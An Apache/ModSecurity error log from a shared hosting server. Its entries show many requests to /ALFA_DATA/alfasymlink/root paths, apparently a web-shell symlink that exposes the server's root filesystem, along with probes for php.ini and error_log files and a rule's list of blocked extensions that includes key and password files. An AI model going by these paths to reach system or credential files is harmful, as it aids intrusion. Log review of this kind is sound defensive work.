[Sun Oct 25 15:56:18.611407 2026] [security2:error] [pid 2889265:tid 2889265] [client 185.191.171.9:20656] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/logedin.inc"] [unique_id "at5e4lZS5RNQuzJFU76QaAAAAAc"]
[Sun Oct 25 15:56:18.611869 2026] [security2:error] [pid 2889265:tid 2889265] [client 185.191.171.9:20656] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/logedin.inc"] [unique_id "at5e4lZS5RNQuzJFU76QaAAAAAc"]
[Sun Oct 25 15:56:18.618227 2026] [security2:error] [pid 2889265:tid 2889265] [client 185.191.171.9:20656] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/logedin.inc"] [unique_id "at5e4lZS5RNQuzJFU76QaAAAAAc"]
[Sun Oct 25 15:56:34.120105 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 185.191.171.18:25166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:38.131247 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 54.85.7.119:17511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:46.118597 2026] [ssl:error] [pid 2889265:tid 2889265] (70014)End of file found: [client 35.168.238.50:35631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:56:53.384270 2026] [security2:error] [pid 2889342:tid 2889342] [client 107.172.76.131:64287] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5e-fRqe8JFpk4VEd7wMQAAADg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:56:53.384327 2026] [security2:error] [pid 2889342:tid 2889342] [client 107.172.76.131:64287] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5e-fRqe8JFpk4VEd7wMQAAADg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:56:54.142416 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 34.192.125.239:31892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:57:10.130616 2026] [ssl:error] [pid 2889304:tid 2889304] (70014)End of file found: [client 54.157.84.74:48849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:57:12.226169 2026] [core:error] [pid 2889314:tid 2889314] (13)Permission denied: [client 85.208.96.209:61436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/validate
[Sun Oct 25 15:57:14.148451 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 34.194.226.74:18294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:57:17.708957 2026] [security2:error] [pid 2887459:tid 2887459] [client 185.191.171.5:15064] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket.conf"] [unique_id "at5fHXARVqJVeEfCE8kRMgAAAAo"]
[Sun Oct 25 15:57:17.709636 2026] [security2:error] [pid 2887459:tid 2887459] [client 185.191.171.5:15064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket.conf"] [unique_id "at5fHXARVqJVeEfCE8kRMgAAAAo"]
[Sun Oct 25 15:57:17.710056 2026] [security2:error] [pid 2887459:tid 2887459] [client 185.191.171.5:15064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket.conf"] [unique_id "at5fHXARVqJVeEfCE8kRMgAAAAo"]
[Sun Oct 25 15:57:30.360888 2026] [core:error] [pid 2887459:tid 2887459] (13)Permission denied: [client 34.206.249.188:1937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:00/physical_node/i2c-0/delete_device
[Sun Oct 25 15:57:49.021262 2026] [authz_core:error] [pid 2889304:tid 2889304] [client 135.136.123.193:39766] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:57:58.133627 2026] [ssl:error] [pid 2892410:tid 2892410] (70014)End of file found: [client 54.197.114.76:60706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:58:06.167356 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 54.152.163.42:16310] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:58:14.136588 2026] [ssl:error] [pid 2889304:tid 2889304] (5)Input/output error: [client 23.23.103.31:11026] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:58:17.859877 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 185.191.171.12:27698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/min_partial
[Sun Oct 25 15:58:22.236092 2026] [core:error] [pid 2889267:tid 2889267] (13)Permission denied: [client 98.84.131.195:17107] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0
[Sun Oct 25 15:58:30.181139 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 44.209.89.189:29933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:58:42.349863 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 44.220.2.97:29206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:58:58.432099 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 3.224.215.150:26154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:02.224797 2026] [ssl:error] [pid 2892940:tid 2892940] (70014)End of file found: [client 23.21.119.232:42846] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:06.296174 2026] [ssl:error] [pid 2889359:tid 2889359] (70014)End of file found: [client 52.200.58.199:33062] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:10.595873 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 34.235.239.240:37250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:12.786817 2026] [core:error] [pid 2892940:tid 2892940] (13)Permission denied: [client 85.208.96.204:48784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/poison
[Sun Oct 25 15:59:18.337626 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 52.7.33.248:9437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:20.078491 2026] [security2:error] [pid 2889285:tid 2889285] [client 107.172.76.131:64270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5fi0XVeq_TuGhu9jMbBgAAABU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:59:20.078576 2026] [security2:error] [pid 2889285:tid 2889285] [client 107.172.76.131:64270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5fi0XVeq_TuGhu9jMbBgAAABU"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 15:59:22.225212 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 52.204.89.12:45969] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:30.442107 2026] [ssl:error] [pid 2885088:tid 2885088] (5)Input/output error: [client 52.203.68.145:35353] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:59:42.353622 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 52.54.157.23:60640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory5/subsystem/uevent
[Sun Oct 25 16:00:06.336540 2026] [core:error] [pid 2889267:tid 2889267] (13)Permission denied: [client 34.202.88.37:10880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/flags
[Sun Oct 25 16:00:18.378285 2026] [ssl:error] [pid 2889265:tid 2889265] (70014)End of file found: [client 52.3.26.180:38355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:22.263846 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 18.215.112.101:24874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:22.798972 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 185.191.171.2:31168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:26.265547 2026] [ssl:error] [pid 2892410:tid 2892410] (70014)End of file found: [client 44.218.6.93:32334] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:38.275720 2026] [ssl:error] [pid 2892410:tid 2892410] (5)Input/output error: [client 52.203.68.145:55699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:46.726341 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 34.231.77.232:54937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:50.449209 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 35.168.238.50:51632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:00:54.484434 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 54.225.181.161:31705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/ec/bind
[Sun Oct 25 16:00:58.846834 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 3.219.80.71:6542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:01:02.853937 2026] [security2:error] [pid 2892941:tid 2892941] [client 107.172.76.131:64324] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5f8I_6Zws9Q6DNmzOdagAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:01:02.853984 2026] [security2:error] [pid 2892941:tid 2892941] [client 107.172.76.131:64324] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5f8I_6Zws9Q6DNmzOdagAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:01:14.301332 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 3.224.104.67:42323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:01:18.267336 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 185.191.171.2:44918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/partial
[Sun Oct 25 16:01:18.278051 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 98.82.63.147:38828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory4/node0/memory13/subsystem/uevent
[Sun Oct 25 16:01:20.761822 2026] [security2:error] [pid 2889357:tid 2889357] [client 85.208.96.205:39518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php71/install.php"] [unique_id "at5gEFMMoJX_Woh2jbKcTQAAAEk"]
[Sun Oct 25 16:01:20.761866 2026] [security2:error] [pid 2889357:tid 2889357] [client 85.208.96.205:39518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php71/install.php"] [unique_id "at5gEFMMoJX_Woh2jbKcTQAAAEk"]
[Sun Oct 25 16:01:34.287343 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 85.208.96.204:16362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:01:34.402471 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 100.25.120.246:61782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/drivers/pci:virtio-pci/unbind
[Sun Oct 25 16:01:38.434956 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 44.221.227.90:33394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:03/physical_node/rom
[Sun Oct 25 16:01:46.489206 2026] [core:error] [pid 2889287:tid 2889287] (13)Permission denied: [client 23.23.104.107:24033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/driver/unbind
[Sun Oct 25 16:02:02.319675 2026] [core:error] [pid 2889267:tid 2889267] (13)Permission denied: [client 23.21.227.240:31986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/tpm_crb/unbind
[Sun Oct 25 16:02:05.179159 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 185.191.171.14:58830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/slab_size
[Sun Oct 25 16:02:06.296073 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 54.89.90.224:54933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:10.369619 2026] [ssl:error] [pid 2889348:tid 2889348] (5)Input/output error: [client 34.195.248.30:60681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:10.734739 2026] [security2:error] [pid 2885088:tid 2885088] [client 43.159.35.188:48166] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at5gQomi8ug6M5pAwucc6wAAAAI"]
[Sun Oct 25 16:02:10.735803 2026] [authz_core:error] [pid 2885088:tid 2885088] [client 43.159.35.188:48166] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 16:02:14.621033 2026] [ssl:error] [pid 2889267:tid 2889267] (70014)End of file found: [client 44.223.115.10:60509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:14.804923 2026] [authz_core:error] [pid 2889344:tid 2889344] [client 130.12.180.165:19694] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sun Oct 25 16:02:18.525233 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 34.194.165.45:18671] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:22.525365 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 52.71.216.196:50121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:26.455618 2026] [security2:error] [pid 2885088:tid 2885088] [client 3.230.224.6:45139] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory16/subsystem/devices/memory0/power/"] [unique_id "at5gUomi8ug6M5pAwucc7AAAAAI"]
[Sun Oct 25 16:02:26.455703 2026] [security2:error] [pid 2885088:tid 2885088] [client 3.230.224.6:45139] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory16/subsystem/devices/memory0/power/"] [unique_id "at5gUomi8ug6M5pAwucc7AAAAAI"]
[Sun Oct 25 16:02:36.417461 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 185.191.171.5:58208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/cache_dma
[Sun Oct 25 16:02:46.362472 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 3.213.46.222:65244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:02:50.619428 2026] [core:error] [pid 2889267:tid 2889267] (13)Permission denied: [client 18.215.112.101:50896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:05/physical_node/virtio1/driver/unbind
[Sun Oct 25 16:02:54.701771 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 85.208.96.206:52668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/align
[Sun Oct 25 16:02:58.678234 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 18.213.240.226:42849] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:02.455950 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.206.93.215:11704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:02.606029 2026] [security2:error] [pid 2889267:tid 2889267] [client 43.164.197.117:53884] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5gdu7UGWPY5MHUn17IVgAAAAk"], referer: http://sherwinpinturas.com
[Sun Oct 25 16:03:02.617101 2026] [authz_core:error] [pid 2889267:tid 2889267] [client 43.164.197.117:53884] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 16:03:06.566015 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.71.203.206:24243] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:18.424607 2026] [ssl:error] [pid 2889357:tid 2889357] (70014)End of file found: [client 3.231.193.38:51567] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:22.533634 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 184.73.239.35:44189] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:26.437939 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 34.225.138.57:62676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:03:37.754219 2026] [security2:error] [pid 2889357:tid 2889357] [client 85.208.96.206:45144] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/GUS.conf"] [unique_id "at5gmVMMoJX_Woh2jbKcUQAAAEk"]
[Sun Oct 25 16:03:37.754655 2026] [security2:error] [pid 2889357:tid 2889357] [client 85.208.96.206:45144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/GUS.conf"] [unique_id "at5gmVMMoJX_Woh2jbKcUQAAAEk"]
[Sun Oct 25 16:03:37.755041 2026] [security2:error] [pid 2889357:tid 2889357] [client 85.208.96.206:45144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/GUS.conf"] [unique_id "at5gmVMMoJX_Woh2jbKcUQAAAEk"]
[Sun Oct 25 16:03:55.240166 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 52.2.191.202:10879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:04:02.523743 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 54.88.84.219:8571] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:04:06.481492 2026] [ssl:error] [pid 2889348:tid 2889348] (70014)End of file found: [client 23.23.99.55:59823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:04:07.297152 2026] [authz_core:error] [pid 2885109:tid 2885109] [client 20.53.239.152:11989] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 16:04:09.511278 2026] [security2:error] [pid 2885109:tid 2885109] [client 20.53.239.152:11989] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/wp-includes/js/thickbox/"] [unique_id "at5guYFcUVAO2YtGzyMfMgAAAAg"]
[Sun Oct 25 16:04:09.511342 2026] [security2:error] [pid 2885109:tid 2885109] [client 20.53.239.152:11989] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/wp-includes/js/thickbox/"] [unique_id "at5guYFcUVAO2YtGzyMfMgAAAAg"]
